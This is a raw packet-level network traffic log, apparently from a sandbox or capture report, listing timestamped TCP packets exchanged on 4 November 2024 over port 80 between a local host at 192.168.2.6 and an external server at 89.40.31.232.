Nov 4, 2024 16:52:38.936547041 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.936553001 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.936558962 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.936573029 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.936588049 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.936611891 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.936633110 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.936640024 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.936651945 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.936657906 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.936662912 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.936670065 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.936691046 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.936717033 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.936806917 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.936813116 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.936834097 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.936846018 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.936853886 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.936860085 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.936866045 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.936871052 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.936887026 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.936893940 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.936897993 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.936898947 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.936913967 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.936923027 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.936944008 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.936965942 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.936971903 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.936984062 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.936990023 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937017918 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937025070 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.937025070 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.937031031 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937036991 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937042952 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937056065 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937061071 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937067032 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937068939 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.937077999 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937099934 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937102079 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937107086 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937108994 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.937128067 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937156916 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.937177896 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.937341928 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937355995 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937361956 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937367916 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937374115 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937386990 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937397957 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937405109 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937413931 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937419891 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937426090 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937432051 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937443972 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937462091 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937469006 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937474966 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937479973 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937485933 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937498093 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937504053 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937509060 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937514067 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937516928 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.937520027 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937526941 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937531948 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937596083 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.937638044 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937644958 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937655926 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937661886 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937668085 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937674046 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937680006 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937685013 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937691927 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937697887 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.937707901 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937716961 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937728882 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.937736988 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937742949 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937753916 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937763929 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937767029 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.937794924 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.937828064 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.937905073 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937911034 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937923908 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937928915 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937939882 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937946081 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937958002 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.937963963 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.937966108 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.938030958 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.938055992 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.938061953 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.938074112 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.938080072 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.938086033 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.938121080 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.938139915 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.938143969 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.938150883 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.938163042 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.938169003 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.938174009 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.938179970 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.938185930 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.938261032 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.938261032 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.938277006 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.938282967 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.938296080 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.938299894 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.938307047 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.938312054 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.938324928 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.938330889 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.938335896 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.938337088 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.938343048 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.938361883 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.938371897 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.938380957 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.938384056 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.938386917 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.938394070 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.938400030 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.938410997 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.938416004 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.938421011 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.938437939 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.938445091 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.938445091 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.938452005 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.938463926 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.938469887 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.938469887 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.938477993 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.938528061 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.938528061 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.984529972 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.984555960 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.984565020 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.984571934 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.984610081 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.984616041 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.984639883 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.984651089 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.984651089 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.984703064 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.013729095 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.013782978 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.013791084 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.013803959 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.013813019 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.013814926 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.013849020 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.013895035 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.013901949 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.013915062 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.013921976 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.013927937 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.013935089 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.013942003 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.013946056 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.013952017 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.013953924 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.013971090 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.013983011 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.013993025 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.013994932 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.014019966 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.014040947 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.014056921 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014067888 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014071941 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014086008 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014094114 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014102936 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014115095 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.014153004 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.014180899 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014189005 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014195919 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014203072 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014209986 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014221907 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014230013 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014252901 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.014261961 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.014261961 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014270067 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014277935 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014282942 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.014285088 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014332056 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.014364958 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014372110 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014378071 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014384985 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014398098 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014404058 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014410019 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014415026 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.014425039 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014431953 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014442921 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.014478922 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.014501095 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.014511108 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014517069 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014529943 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014540911 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014611006 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.014611006 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.014657974 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014673948 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014684916 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014692068 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014704943 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014713049 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014719963 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014724970 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.014734030 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014740944 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014754057 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014760971 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014772892 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014782906 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.014796019 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014797926 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.014803886 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014816046 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014828920 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.014833927 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014841080 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014847040 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014853001 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014858961 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014870882 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.014903069 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014910936 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014914989 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.014923096 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014930010 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014942884 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014950037 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014950037 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.014956951 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014970064 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.014971972 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.014993906 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.015017986 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.015048027 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015054941 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015063047 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015067101 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015081882 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015088081 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.015129089 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.015194893 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015208960 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015221119 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015228987 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015234947 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015243053 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015259027 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015263081 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.015266895 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015280962 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015289068 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015290976 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.015296936 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015299082 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015319109 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.015341997 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.015347958 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015364885 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015371084 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015377998 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015386105 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015391111 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015398026 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015403032 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.015404940 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015412092 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015418053 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015424967 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015430927 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.015431881 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015439034 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015444994 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015454054 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.015458107 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015465975 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015480042 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.015503883 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.015676975 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015685081 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015697956 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015703917 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015712023 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015719891 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015726089 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015733957 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.015762091 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.015779018 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.015840054 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015847921 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015857935 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015866041 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015872002 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015878916 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015891075 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015897989 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015902996 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.015911102 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015918016 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015929937 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015932083 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015948057 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.015953064 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015959978 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015966892 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015974998 CET	80	59474	89.40.31.232	192.168.2.6
